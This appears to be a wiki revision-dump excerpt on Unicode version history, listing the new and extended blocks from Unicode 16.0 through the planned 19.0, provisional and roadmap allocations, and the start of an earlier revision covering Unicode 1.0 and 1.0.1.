|357E, 358B..358E, 3599..359D, 35AF..35B0, 35B2..35B3, 35DF..35E1, 35EF, 360F, 3612, 3F94, 44D5, 48EE
|5
|-
|CJK Unified Ideographs
|5098, 512D, 517A, 5391, 54DB, 551C, 551F, 55B8, 55ED, 56AB, 591E, 594A, 5B2E, 5DFC..5DFD, 5EE4, 609E, 65B0, 65B3, 65D5, 65F2, 67B2, 6AB6, 6AEC, 6C69, 6FC2, 6FD3, 7019, 7361, 74BD, 7934, 820B, 826E, 83BB, 8412, 8456, 848A, 896F, 8E34, 8FD7, 9166, 9855, 985E, 9C4D
|5
|-
|Latin Extended-D
|A798
|1
|-
|Latin Extended-E
|AB5A
|1
|-

|Tangut
|17105, 172A4, 17BD1..17BD3, 17EF9, 18136
|59
|-
|Alchemical Symbols
|1F741, 1F747, 1F74C, 1F74F, 1F756, 1F758, 1F763, 1F768, 1F76D, 1F76E
|116
|-
|CJK Unified Ideographs Extension B
|20302, 2087A, 20C00, 230B7, 2339E, 236EF, 237C3, 23B87, 23CC0, 23CD9, 23E5E, 2486F, 249D6, 249E8, 24D6A, 2585E, 25D89, 26A5A..26A5B, 26A73, 26A82..26A83, 26A90, 26AA6, 26AA8, 26AD8, 27350, 279F8, 284A3, 28BBA, 29516, 29530
|20
|-
|CJK Unified Ideographs Extension C
|2A741, 2AB63, 2ACD8, 2AF6F, 2B173, 2B490
|1
|-
|CJK Unified Ideographs Extension E
|2BC2E, 2BF45, 2C04C, 2C13A, 2C43C, 2C43E, 2C816
|8
|-
|CJK Unified Ideographs Extension F
|2D1CC..2D1CD, 2D1DD, 2D1E4, 2D1F7, 2D203, 2D256, 2D266, 2D2A2, 2D2AC, 2D2DA
|18
|-
|CJK Unified Ideographs Extension G
|301D4, 301D9, 301E4, 301E8, 301FF..30200, 30205, 3020C, 30211, 30215..30217, 30220, 30234..30235, 30237
|7
|-
|CJK Unified Ideographs Extension H
|314B7, 31542, 31569, 31C7F, 31D5A, 31F68
|7
|-
! colspan=&quot;2&quot; |Total
!164
|}

== Unicode 16.0 ==

Unicode 16.0 was released on September 10th, 2024. It encoded 154,998 characters, adding 5185 new characters.

=== New Blocks ===
* '''Todhri''' (U+105C0-U+105FF), containing 52 characters, was added.
* '''Garay''' (U+10D40-U+10D8F), containing 69 characters, was added.
* '''Tulu-Tigalari''' (U+11380-U+113FF), containing 80 characters, was added.
* '''Myanmar Extended-C''' (U+116D0-U+116FF), containing 20 characters, was added.
* '''Sunuwar''' (U+11BC0-U+11BFF), containing 44 characters, was added.
* '''Egyptian Hieroglyphs Extended-A''' (U+13460-U+143FF), containing 3995 characters, was added.
* '''Gurung Khema''' (U+16100-U+1613F), containing 58 characters, was added.
* '''Kirat Rai''' (U+16D40-U+16D7F), containing 58 characters, was added.
* '''Symbols for Legacy Computing Supplement''' (U+1CC00-U+1CEBF), containing 686 characters, was added.
* '''Ol Onal''' (U+1E5D0-U+1E5FF), containing 44 characters, was added.

=== Extended Blocks ===
* A combining diacritical mark for Jawi (total 1 character) was added to '''Arabic Extended-B'''. (U+0897)
* Inverted letters and a punctuation mark (total 3 characters) was added to '''Balinese'''. (U+1B4E-U+1B4F and U+1B7F)
* A letter Tje (total 2 characters) was added to '''Cyrillic Extended-C'''. (U+1C89-U+1C8A)
* Legacy computing symbols for Delete (total 3 characters) was added to '''Control Pictures'''. (U+2427-U+2429)
* CJK strokes HXG and SZP (total 2 characters) was added to '''CJK Strokes'''. (U+31E4-U+31E5)
* A capital Rams Horn, an S with Diagonal Stroke, Lamda Letters, and letters for Wakashan and Salishan Languages (total 6 characters) was added to '''Latin Extended-D'''. (U+A7CB-U+A7CD, U+A7DA-U+A7DC)
* A combining Alef overlay and letters with two dots vertically below (total 4 characters) was added to '''Arabic Extended-C'''. (U+10EC2-U+10EC4 and U+10EFC)
* A sign Nukta (total 1 character) was added to '''Kawi'''. (U+11F5A)
* A blank character (total 1 character) was added to '''Khitan Small Script'''. (U+18CFF)
* A rightwards arrow with hook, and arrows for legacy computing and arrows for Egyptology (total 12 characters) was added to '''Supplemental Arrows-C'''. (U+1F8B2-U+1F8BB, U+1F8C0-U+1F8C1)
* A Harp, Shovel, Leafless Tree, Fingerprint, Root Vegetable, Splatter, and Face with Bags Under Eyes (total 7 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA89, U+1FA8F, U+1FABE, U+1FAC6, U+1FADC, U+1FADF, and U+1FAE9)
* Graphic shapes for legacy computing (total 37 characters) was added to '''Symbols for Legacy Computing'''. (U+1FBCB-U+1FBEF)

== Unicode 17.0 ==
Unicode 17.0 was released on September 9th, 2025. It encoded 159,801 characters, adding 4,083 new characters.

=== New Blocks ===
* '''Sidetic''' (U+10940-U+1095F), containing 26 characters, was added.
* '''Sharada Supplement''' (U+11B60-U+11B7F), containing 8 characters, was added.
* '''Tolong Siki''' (U+11DB0-U+11DEF), containing 54 characters, was added.
* '''Beria Erfe''' (U+16EA0-U+16EDF), containing 50 characters, was added.
* '''Tangut Components Supplement''' (U+18D80-U+18DFF), containing 115 characters, was added.
* '''Miscellaneous Symbols Supplement''' (U+1CEC0-U+1CEFF), containing 34 characters, was added.
* '''Tai Yo''' (U+1E6C0-U+1E6FF), containing 55 characters, was added.
* '''CJK Unified Ideographs Extension J''' (U+323B0-U+3347F), containing 4298 characters, was added.

=== Extended Blocks ===
* A Noon with Ring Above (total 1 character) was added to '''Arabic Extended-B'''. (U+088F)
* An archaic ligature Shrii (total 1 character) was added to '''Telugu'''. (U+0C5C)
* An archaic ligature Shrii (total 1 character) was added to '''Kannada'''. (U+0CDC)
* Compound tone and harrington diacritics (total 26 characters) was to '''Combining Diacritical Marks Extended'''. (U+1ACF-U+1ADD, U+1AE0-U+1AEB)
* Saudi Riyal Sign (total 1 character) was added to '''Currency Symbols'''. (U+20C1)
* Equal Sign with Infinity Above (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B96)
* 2 capital letters for Middle English, Latin pharyngeal voiced fricative, and Modifier Letter Capital S (total 5 characters) was added to '''Latin Extended-D'''. (U+A7CE-U+A7CF, U+A7D2, U+A7D4, U+A7F1)
* Arabic Ligature Rahmatu Allaahi Alayh and Arabic Honorifics (total 25 characters) was added to '''Arabic Presentation Forms-A'''. (U+FBC3-U+FBD2, U+FD90, U+FD91, U+FDC8-U+FDCE)
* A Small Yeh Barree with Two Dots Below, Thin Noon, Biblical End of Verse, Yeh with Four Dots Below, Honorifics, Double Vertical Bar Below, and Small Low Noon (total 14 characters) was added to '''Arabic Extended-C'''. (U+10EC5-U+10EC7, U+10ED0-U+10ED8, U+10EFA-U+10EFB)
* Chinese Simplified and Traditional Er and Yangqin Slow Signs Two, Three, and Four (total 5 characters) was added to '''Ideographic Symbols and Punctuation'''. (U+16FF2-U+16FF6)
* Some additional ideographs (total 8 characters) was added to '''Tangut'''. (U+187F8-U+187FF)
* Additional ideographs (total 22 characters) was added to '''Tangut Supplement'''. (U+18D09-U+18D1E)
* Nine symbols (total 9 characters) was added to '''Symbols for Legacy Computing Supplement'''. (U+1CCFA-U+1CCFC, U+1CEBA-1CEBF)
* A Landslide (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D8)
* Historical asteroid symbols (total 4 characters) was added to '''Alchemical Symbols'''. (U+1F777-U+1F77A)
* Chemical symbols (total 9 characters) was added to '''Supplemental Arrows-C'''. (U+1F8D0-U+1F8D8)
* White and Black Chess Ferz and Alfil (total 4 characters) was added to '''Chess Symbols'''. (U+1FA54-U+1FA57)
* A trombone, treasure chest, hairy creature, orca, distorted face, and fight cloud (total 6 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8A, U+1FA8E, U+1FAC8, U+1FACD, U+1FAEA, and U+1FAEF)
* An alarm bell symbol (total 1 character) was added to '''Symbols for Legacy Computing'''. (U+1FBFA)
* Additional ideographs (total 6 characters) was added to '''CJK Unified Ideographs Extension C'''. (U+2B73A-U+2B73F)
* Additional ideographs (total 12 characters) was added to '''CJK Unified Ideographs Extension E'''. (U+2CEA2-U+2CEAD)

== Unicode 18.0 ==
Unicode 18.0 was released on September 16, 2026.

=== New Blocks ===
*'''Bengali Supplement''' (U+11DF0-U+11DFF), containing 2 characters, was added.
* '''Archaic Cuneiform Numerals''' (U+12550-U+1268F), containing 311 characters, was added.
* '''Jurchen''' (U+18E00-U+1919F), containing 914 characters, was added.
* '''Jurchen Radicals''' (U+191A0-U+191DF), containing 51 characters, was added.
* '''Musical Symbols Supplement''' (U+1D250-U+1D28F), containing 50 characters, was added.
* '''Miscellaneous Symbols and Arrows Extended''' (U+1DB00-U+1DBFF), containing 29 characters, was added.
* '''Seal Script''' (U+3D000-U+3FC3F), containing 11328 characters, was added.

=== Extended Blocks ===
* Modifier letters Eh, Ini, and Yi (total 3 characters) was added to '''Armenian'''. (U+0558, U+058B-U+058C)
* Hebrew Point Sheva Na Mudgash and Hebrew Point Dagesh Hazaq Mudgash (total 2 characters) was added to '''Hebrew'''. (U+05C8-U+05C9)
* Signs for dot above and double dot above (total 2 characters) was added to '''Oriya'''. (U+0B53-U+0B54)
* Alternate positioned IPA diacritics and diacritics for Chao and Khoe (total 7 characters) was added to '''Combining Diacritical Marks Extended'''. (U+1ADE-U+1ADF, U+1AEC-U+1AF0)
* Latin subscript small letter w, y, and z and Modifier letter high and low vertical line (total 4 characters) was added to '''Superscripts and Subscripts'''. (U+208F, U+209D-U+209F)
* Rufiyaa Sign, UAE Dirham Sign, and Omani Rial (total 3 characters) was added to '''Currency Symbols'''. (U+20C2-U+20C4)
* Two Wiggly Exclamation Marks and Two Parenthesis with Middle Ring (total 4 characters) was added to '''Supplemental Punctuation'''. (U+2E60-U+2E63)
* Latin capital letter closed omega and Latin capital letter r with long leg and (total 2 characters) was added to '''Latin Extended-D'''. (U+A7DD and U+A7E2)
* Latin capital letter script r and script r with ring (total 2 characters) was added to '''Latin Extended-E'''. (U+AB6C-U+AB6D)
* Latin modifier letters for clicks (total 5 characters) was added to '''Latin Extended-F'''. (U+107BB-U+107BF)
* Arabic Crown Letters, Quranic Characters, and Arabic Crown (total 39 characters) was added to '''Arabic Extended-C'''. (U+10EC9-U+10ECF, U+10ED9-U+10EEE, U+10EF0-U+10EF9)
* Devanagari Letter Alternate Ddda (total 1 character) was added to '''Devanagari Extended-A'''. (U+11B0A)
* Extended Cuneiform Numeric Signs (total 12 characters) was added to '''Cuneiform Numbers and Punctuation'''. (U+1246F, U+12475-U+1247F)
* Jurchen Small Script characters (total 5 characters) was added to '''Khitan Small Script'''. (U+18CD6-U+18CDA)
* Two additional ideographs (total 2 characters) was added to '''Tangut Supplement'''. (U+18D1F-U+18D20)
* Hiragana Digraph Koto, Katakana Diagraphs Toki, Tote, and Yori, letters alternate Ne, and Wi (total 6 characters) was added to '''Kana Extended-A'''. (U+1B123-U+1B128)
* Katakana letter small archaic Ye (total 1 character) was added to '''Small Kana Extension'''. (U+1B168)
* Leibnizian alchemical symbols,  Leibnizian cossic characters, and Leibnizian mathematical signs and symbols (total 19 characters) was added to '''Miscellaneous Symbols Supplement'''. (U+1CED2-U+1CED4, U+1CEDD-U+1CEDF, U+1CEF1-U+1CEFD)
* Stein Zimmerman Symbols, Digit Slash Symbols, and other Symbols (total 23 characters) was added to '''Musical Symbols'''. (U+1D127-U+1D128, U+1D1EB-U+1D1FF)
* Mathematical italic long s with descender s (U+1D6A6) was added to '''Mathematical Alphanumeric Symbols'''.
* Affricate ligatures, letters with palatal hook, barred letters, RFE letters, Initial Teaching Alphabet, English Phonotypic Alphabet, Leibnizian cossic characters, and modifier letters (total 151 characters) was added to '''Latin Extended-G'''. (U+1DF1F-U+1DF24, U+1DF2B-U+1DF81, U+1DF90-U+1DF96, U+1DFCD-U+1DFFF)
* A Tomobiki symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F1AE)
* A lighthouse (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D9)
* A black circle with white vertical bar, and Extended Geometric Shapes (total 17 characters) was added to '''Geometric Shapes Extended'''. (U+1F7DA-U+1F7DB, U+1F7F1-U+1F7FF)
* A meteor, eraser, net with handle, monarch butterfly, pickle, cracking face, leftwards thumb sign, and rightwards thumb sign (total 8 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8B-1FA8D, U+1FACC, U+1FADD, U+1FAEB, U+1FAF9-1FAFA)
* An additional ideograph (total 1 character) was added to '''CJK Unified Ideographs Extension D'''. (U+2B81E)

== Unicode 19.0==
Unicode 19.0 will be released in late 2027. There are more characters targeted for this version, but they have not been confirmed yet.

=== New Blocks ===
* '''CJK Unified Ideographs Components-A''' (U+2FA20-U+2FA9F), containing 119 characters, will be added.
* '''CJK Unified Ideographs Components-B''' (U+2FAA0-U+2FC1F), containing 375 characters, will be added.

== Code Points Provisionally Assigned==
This is a section where you can add any upcoming Unicode characters that have been [https://www.unicode.org/alloc/Pipeline.html#codepoint_reservation provisionally assigned for mature proposals] (but not yet accepted) for a future update of The Unicode Standard.

=== New Blocks ===
* '''Arabic Extended-D''' (U+10D90-U+10E5F), containing 3 characters, will be added.
* '''Sirmauri''' (U+11850-U+1188F), containing 55 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Leke''' (U+11B80-U+11BBF), containing 55 characters, will be added.
* '''Proto-Cuneiform''' (U+12690-U+12ECF), containing 1392 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Chisoi''' (U+16D80-U+16DAF), containing 40 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Mwangwego''' (U+16E00-U+16E3F), containing 64 characters, will be added.
* '''Shaaldaa''' (U+1C800-U+1CB2F), containing 804 characters, will be added.
* '''Leibnizian Ambiguous Signs''' (U+1DC00-U+1DC3F), containing 54 characters, will be added.)&lt;!--target: 19.0--&gt;

=== Extended Blocks ===
* Telugu Sign Spacing Candrabindu (total 1 character) will be added to '''Telugu'''. (U+0C70)&lt;!--target: 19.0--&gt;
* Kannada Signs Ardhanusvara and Combining Anusvara Above (total 1 character) will be added to '''Kannada'''. (U+0CF0 and U+0CF4)&lt;!--target: 19.0--&gt;
* Mongolian Letter Manchu Alternative Ue (total 1 character) will be added to '''Mongolian'''. (U+1879)
* Combining Grave-Acute-Macron, Combining inverted lazy s Above, and Combining comma Above and acute (total 3 characters) will be added to '''Combining Diacritical Marks Extended'''. (U+1AF1-U+1AF3)
* Cyrillic small letter Yeru with connecting bar (total 1 character) will be added to '''Cyrillic Extended-C'''. (U+1C8B)&lt;!--target: 19.0--&gt;
* Belarusian Ruble sign and Ruble sign with double vertical stem (total 2 characters) will be added to '''Currency Symbols'''. (U+20C5, U+20CF)&lt;!--20C5 target: 19.0--&gt;
* Combining Long Triple Solidus Overlay and Combining Saltire Overlay (total 2 characters) will be added to '''Combining Diacritical Marks for Symbols'''. (U+20F1-U+20F2)&lt;!--target: 19.0--&gt;
* Latin capital and small letter i with oblique stroke (total 2 characters) will be added to '''Latin Extended-D'''. (U+A7DE-U+A7DF)
* Latin capital letter u with left hook (total 1 character) will be added to '''Latin Extended-E'''. (U+AB6E)&lt;!--target: 19.0--&gt;
* Arabic Dotless Half-Yeh, Half-Yeh, Dotless Half-Jeem and Astronomical Kaf (total 4 characters) will be added to '''Arabic Extended-C'''. (U+10EC0-U+10EC1, U+10EC8, U+10EEF)&lt;!--10EC0-10EC1 target: 19.0--&gt;
* Brahmi minimizing virama (total 1 character) will be added to '''Brahmi'''. (U+1107E)&lt;!--target: 19.0--&gt;
* Tulu-Tigalari letter combining anusvara above, signs om pushpika with tail and shrii pushpika, and letter archaic II (total 5 characters) will be added to '''Tulu-Tigalari'''. (U+113CB, U+113D9-U+113DB)&lt;!--target: 19.0--&gt;
* Newa Letter Heavy Ya (total 1 character) will be added to '''Newa'''. (U+11462)
* Dogra Signs Candrabindu and Avaragha (total 2 characters) will be added to '''Dogra'''. (U+1183C-U+1183D)&lt;!--target: 19.0--&gt;
* Devanagari Jivamuliya and Upadhmaniya (total 2 characters) will be added to '''Devanagari Extended-A'''. (U+11B0B-U+11B0C)&lt;!--target: 19.0--&gt;
* White Ideographic Comma and Double Ideographic Full Stop (total 2 characters) will be added to '''Ideographic Symbols and Punctuation'''. (U+16FE5-U+16FE6)&lt;!--target: 19.0--&gt;
* Alchemical Symbol for Calx-2 and Alchemical Symbol for Retort-2 (total 2 characters) will be added to '''Miscellaneous Symbols Supplement'''. (U+1CED1, U+1CED5)&lt;!--target: 19.0--&gt;
* Musical Symbol down arrowhead breath mark (total 1 character) will be added to '''Musical Symbols Supplement'''. (U+1D282)
* Small w with palatal hook, small n and r with double middle tilde, small capital i with retroflex hook, small open q, x with stroke, small wavy y, schwa with right hook, Romance dialectology symbols, zh ligature, Albanian letter edhe, Albanian Frashëri letters, Modifier letter capital y, and modifier letter accents (total 26 characters) will be added to '''Latin Extended-G'''. (U+1DF82-U+1DF8F, U+1DF97-U+1DFA3, U+1DFC4-U+1DFCC)&lt;!--1DF82-1DF8A, 1DFC5-1DFCC target: 19.0--&gt;
*Arabic Astronomical zero and five astronomical symbols (total 6 characters) will be added to Arabic Mathematical Alphabetic Symbols (U+1EEE0-U+1EEE5)

==Roadmap Blocks==
This is a section where proportional maps of proposed allocations to Unicode and ISO/IEC 10646 are presented. Italic indicates scripts for which detailed proposals have not yet been written.&lt;ref&gt;[https://unicode.org/roadmaps/smp/]&lt;/ref&gt;

* '''Northern Palaeohispanic''' (U+10200-U+1023F)
* '''Southern Palaeohispanic''' (U+10240-U+1027F)
* '''''Shavian Quikscript''' (U+103E0-U+103FF)''
* '''Combining Diacritical Marks Extended-A''' (U+107C0-U+107FF)
* '''Proto-Sinaitic''' (U+108B0-U+108DF)
* '''''Numidian''' (U+10960-U+1097F)''
* '''Balti''' (U+10AA0-U+10ABF)
* '''Book Pahlavi''' (U+10BB0-U+10BDF)
* '''Baburi''' (U+10BE0-U+10BFF)
* '''Arabic Extended-D''' (U+10D90-U+10E5F)
* '''Landa''' (U+11250-U+1127F)
* '''Tani Lipi''' (U+114E0-U+114FF)
* '''Ranjana''' (U+11500-U+1157F)
* '''Zou''' (U+11750-U+117AF)
* '''Pyu''' (U+117B0-U+117FF)
* '''Vateluttu''' (U+11960-U+1199F)
* '''Balti-B''' (U+11CC0-U+11CFF)
* '''Tocharian''' (U+11E00-U+11E6F)
* '''Khotanese''' (U+11E70-U+11ECF)
* '''Pallava''' (U+11F60-U+11FAF)
* '''''Egyptian Hieroglyphs Extended-B''' (U+14680-U+151FF)''
* '''Mayan Hieroglyphs''' (U+15500-U+15AFF)
* '''Kore Sebeli''' (U+15B00-U+15B6F)
* '''Mandombe''' (U+15B80-U+15FFF)
* '''Wei Rma''' (U+16000-U+1604F)
* '''Wagindara''' (U+16050-U+1607F)
* '''Kurukh Banna''' (U+16140-U+1618F)
* '''Moon''' (U+161A0-U+161FF)
* '''Blissymbols''' (U+16200-U+167FF)
* '''Woleai''' (U+16B90-U+16BFF)
* '''Kpelle''' (U+16C00-U+16C7F)
* '''Tikamuli''' (U+16C80-U+16CBF)
* '''Tangsa (Khimhun)''' (U+16CD0-U+16CFF)
* '''Afaka''' (U+16D00-U+16D3F)
* '''Kulitan''' (U+16DD0-U+16DFF)
* '''''Bopomofo Extended-A''' (U+16FA0-U+16FAF)''
* '''Kanbun Extended-A''' (U+16FB0-U+16FDF)
* '''Khitan Large Script''' (U+19200-U+199FF)
* '''Pau Cin Hau Syllabary''' (U+19E00-U+1A2FF)
* '''Eskaya''' (U+1A300-U+1A75F)
* '''Rejang Extended''' (U+1A760-U+1A77F)
* '''''Kaida''''' (U+1A780-U+1A7FF)
* '''Naxi Dongba''' (U+1A800-U+1ACFF)
* '''''Naxi Geba''' (U+1AD00-U+1AFCF)''
* '''''Kana Extended-C''' (U+1AFD0-U+1AFEF)''
* '''Shuishu Logograms''' (U+1B300-U+1B5FF)
* '''Lisu Syllabic Script''' (U+1B600-U+1B9FF)
* '''Indus''' (U+1BA00-U+1BB8F)
* '''Pitman Shorthand''' (U+1BCB0-U+1BCFF)
* '''Proto-Elamite''' (U+1BE00-U+1C37F)
* '''Linear Elamite''' (U+1C380-U+1C4FF)
* '''Ndiko Jonam''' (U+1CB30-U+1CB7F)
* '''N&lt;nowiki&gt;'&lt;/nowiki&gt;ti''' (U+1CB80-U+1CBAF)
* '''Old Chinese Musical Symbols (Flute and Pipa)''' (U+1D290-U+1D2BF)
* '''''Mathematical Alphanumeric Symbols Supplement''' (U+1D380-U+1D3FF)''
* '''Jianzi Format Controls''' (U+1DAE0-U+1DAFF)
* '''Eebee Hmong''' (U+1E150-U+1E1FF)
* '''Western Cham''' (U+1E200-U+1E26F)
* '''Loma''' (U+1E300-U+1E41F)
* '''Bagam''' (U+1E420-U+1E4CF)
* '''Pungchen''' (U+1E500-U+1E52F)
* '''''Pungchung''' (U+1E530-U+1E55F)''
* '''''Marchung''' (U+1E560-U+1E59F)''
* '''Brusha''' (U+1E5A0-U+1E5CF)
* '''''Chola''' (U+1E600-U+1E65F)''
* '''Box-Headed''' (U+1E660-U+1E6BF)
* '''Lampung''' (U+1E700-U+1E73F)
* '''Kerinci''' (U+1E740-U+1E76F)
* '''Buginese Supplement''' (U+1E770-U+1E7BF)
* '''''Lontara Bilang-Bilang''' (U+1E7C0-U+1E7DF)''
* '''N'Ko Supplement''' (U+1E960-1E97F)
* '''''Byblos''''' (U+1EB90-U+1EBFF)
* '''Persian Siyaq Numbers''' (U+1EC00-U+1EC7F)
* '''Diwani Siyaq Numbers''' (U+1ECC0-U+1ECFF)
* '''''Extended Pictographic Characters''' (U+1FC00-U+1FFFF)''

== References ==
{{reflist}}</text>
      <sha1>b5yg24qhj0hv5i9qoodkratwwk5ug2a</sha1>
    </revision>
    <revision>
      <id>4670557</id>
      <parentid>4670556</parentid>
      <timestamp>2026-09-17T02:39:52Z</timestamp>
      <contributor>
        <username>Alexlatham96</username>
        <id>377450</id>
      </contributor>
      <comment>https://www.unicode.org/versions/Unicode1.0.0/Notice.pdf</comment>
      <origin>4670557</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="135862" sha1="padunchwdy9xc95tcjcczu37hyaa54z" xml:space="preserve">{{pp-protected|small=yes}}
{{Unicode page}}
{{TOC right}}
{{refimprove|date=June 2017}}
This page is about each version specification, and the differences between the versions.

== Unicode 1.0 ==

Unicode 1.0 was the first version of Unicode, released October 1991. It encoded 7,094 new characters.

=== “Blocks” ===
This version of Unicode did not formally group characters in blocks. But in comparison with version 2.0, the following “blocks” were available:
U+0000-U+FFFD
51 Blocks
* '''Basic Latin (formerly called ASCII)''' (U+0000-U+007F), containing 128 characters.
* '''Latin-1 Supplement (formerly called Latin1)'''  (U+0080-U+00FF), containing 128 characters.
* '''Latin Extended-A''' '''(formerly called European Latin)''' (U+0100-U+017F), containing 127 characters.
* '''Latin Extended-B''' '''(formerly called Extended Latin)''' (U+0180-U+01FF), containing 113 characters.
* '''IPA Extensions''' '''(formerly called Standard Phonetic)''' (U+0250-U+02AF), containing 89 characters.
* '''Spacing Modifier Letters''' '''(formerly called Modifier Letters)''' (U+02B0-U+02FF), containing 57 characters.
* '''Combining Diacritical Marks''' '''(formerly called Generic Diacritical Marks)''' (U+0300-U+036F), containing 66 characters.
* '''Greek and Coptic''' '''(formerly called Greek)''' (U+0370-U+03FF), containing 112 characters.
* '''Cyrillic''' (U+0400-U+04FF), containing 192 characters.
* '''Armenian''' (U+0530-U+058F), containing 84 characters.
* '''Hebrew''' (U+0590-U+05FF), containing 52 characters.
* '''Arabic''' (U+0600-U+06FF), containing 169 characters.
* '''Devanagari''' (U+0900-U+097F), containing 104 characters.
* '''Bengali''' (U+0980-U+09FF), containing 89 characters.
* '''Gurmukhi''' (U+0A00-U+0A7F), containing 74 characters.
* '''Gujarati''' (U+0A80-U+0AFF), containing 75 characters.
* '''Oriya''' (U+0B00-U+0B7F), containing 78 characters.
* '''Tamil''' (U+0B80-U+0BFF), containing 61 characters.
* '''Telugu''' (U+0C00-U+0C7F), containing 80 characters.
* '''Kannada''' (U+0C80-U+0CFF), containing 80 characters.
* '''Malayalam''' (U+0D00-U+0D7F), containing 78 characters.
* '''Thai''' (U+0E00-U+0E7F), containing 92 characters.
* '''Lao''' (U+0E80-U+0EFF), containing 70 characters.
* '''Tibetan''' (U+1000-U+105F), containing 71 characters.
* '''Georgian''' (U+10A0-U+10FF), containing 78 characters.
* '''General Punctuation''' (U+2000-U+206F), containing 67 characters.
* '''Superscripts and Subscripts''' (U+2070-U+209F), containing 28 characters.
* '''Currency Symbols''' (U+20A0-U+20CF), containing 11 characters.
* '''Combining Marks for Symbols''' '''(formerly called Diacritical Marks for Symbols)''' (U+20D0-U+20FF), containing 18 characters.
* '''Letterlike Symbols''' (U+2100-U+214F), containing 57 characters.
* '''Number Forms''' (U+2150-U+218F), containing 48 characters.
* '''Arrows''' (U+2190-U+21FF), containing 91 characters.
* '''Mathematical Operators''' (U+2200-U+22FF), containing 242 characters.
* '''Miscellaneous Technical''' (U+2300-U+23FF), containing 43 characters.
* '''Control Pictures''' '''(formerly called Pictures for Control Codes)''' (U+2400-U+243F), containing 37 characters.
* '''Optical Character Recognition''' (U+2440-U+245F), containing 11 characters.
* '''Enclosed Alphanumerics''' (U+2460-U+24FF), containing 139 characters.
* '''Box Drawing''' '''(formerly called Form and Chart Components)''' (U+2500-U+257F), containing 128 characters.
* '''Block Elements''' '''(formerly called Blocks)''' (U+2580-U+259F), containing 22 characters.
* '''Geometric Shapes''' (U+25A0-U+25FF), containing 79 characters.
* '''Miscellaneous Symbols''' '''(formerly called Miscellaneous Dingbats)''' (U+2600-U+26FF), containing 106 characters.
* '''Dingbats''' '''(formerly called Zapf Dingbats)''' (U+2700-U+27BF), containing 160 characters.
* '''CJK Symbols and Punctuation''' (U+3000-U+303F), containing 56 characters.
* '''Hiragana''' (U+3040-U+309F), containing 90 characters.
* '''Katakana''' (U+30A0-U+30FF), containing 90 characters.
* '''Bopomofo''' (U+3100-U+312F), containing 40 characters.
* '''Hangul Compatibility Jamo (formerly called Hangul Elements)''' (U+3130-U+318F), containing 94 characters.
* '''Kanbun (formerly called CJK Miscellaneous)''' (U+3190-U+31FF), containing 16 characters.
* '''Enclosed CJK Letters and Months''' '''(formerly called''' '''Enclosed CJK Letters and Ideographs)''' (U+3200-U+32FF), containing 191 characters.
* '''CJK Compatibility''' '''(formerly called CJK Squared Words for U+3300-U+337F and CJK Squared Abbreviations for U+3380-33FF)''' (U+3300-U+33FF), containing 187 characters.
* '''Hangul''' (U+3400-U+3D2D), containing 2,350 characters.
* '''Private Use Area''' (U+E000-U+FDFF), reserved for 5,632 characters.
* '''CJK Compatibility Forms''' '''(formerly called CNS 11643 Compatibility)''' (U+FE30-U+FE4F), containing 28 characters.
* '''Small Form Variants''' '''(formerly called Small Variants)''' (U+FE50-U+FE6F), containing 26 characters.
* '''Arabic Presentation Forms-B''' '''(formerly called Basic Glyphs for Arabic Language)''' (U+FE70-U+FEFF), containing 140 characters.
* '''Halfwidth and Fullwidth Forms''' '''(formerly called Halfwidth and Fullwidth Variants)''' (U+FF00-U+FFEF), containing 216 characters.
* '''Specials''' '''(formerly called Special)''' (U+FFF0-U+FFFF), containing 1 character.

== Unicode 1.0.1 ==
Unicode 1.0.1 was released June 1992. It encoded 28,292 characters, adding 21,204 new characters and removing 6 characters, for a net increase of 21,198 characters.

=== New blocks ===

* '''CJK Unified Ideographs''' (U+4E00-U+9FFF), containing 20,902 Han Ideographs for Chinese, Japanese and Korean, was added.
* '''CJK Compatibility Ideographs''' (U+F900-U+FAFF), containing 302 Han Ideographs for compatibility with existing character sets, was added.
* '''Alphabetic Presentation Forms''' (U+FB00-U+FB4F), containing 1 moved character, was added.

=== Extended blocks ===
* Some more space (total 2048 characters) was added to the '''Private Use Area'''. (U+E000-U+E7FF)

=== Removed blocks ===
* '''Tibetan''', containing 71 letters for the Tibetan script, was removed from the Unicode standard as the US, UK, and China couldn't agree on an encoding method.

=== Removed characters ===
* Lowercase historic letters and unified diacritical marks (total 7 characters)  were removed from '''Greek and Coptic'''. (U+0371-U+0372, U+0384, U+03DB, U+03DD, U+03DF, and U+03E1). U+0371 was unified with U+0314, U+0372 with U+0313, and U+0384 with U+030D.
* Letters Ka and Kha with Ogonek (total 4 characters) were removed from '''Cyrillic'''. (U+04C5-U+04C6 and U+04C9-U+04CA)
* APL Compose Operator and APL Out (total 2 characters) were removed from '''Miscellaneous Technical'''. (U+2300-U+2301)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Thai'''. (U+0E70-U+0E74)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Lao'''. (U+0EF0-U+0EF4)
* An Ideographic Ditto Mark (total 1 character) was removed from '''CJK Symbols and Punctuation''' (U+3004) and merged with U+4EDD.
* Some space (total 1536 characters) was removed from the '''Private Use Area'''. (U+F900-U+FDFF)

=== Rearranged blocks===
*'''Circled Katakana:''' ''The characters will be arranged in modern order: e.g., A, I, U, E, O, KA, KI'' (U+32D0-U+32FE)
*'''Basic Glyphs For Arabic Language:''' ''The character shapes will be arranged in different order: Isolate, Final, Initial and Medial'' (U+FE80-FEFC)

=== Rearranged characters ===
* Non-spacing diaeresis tonos was moved from '''Greek and Coptic''' (U+0385) to '''Combining Diacritical Marks''' (U+0344)
* Non-spacing iota below was moved from '''Greek and Coptic''' (U+0370) to '''Combining Diacritical Marks''' (U+0345).
* Greek question mark was moved in '''Greek''' from U+03D7 to U+037E.
* Numeral signs were moved in '''Greek''' from U+03D8-U+03D9 to U+0374-U+0375.
* Spacing tonos and diaeresis tonos were moved in '''Greek''' from U+03F3-U+03F4 to U+0384-U+0385.
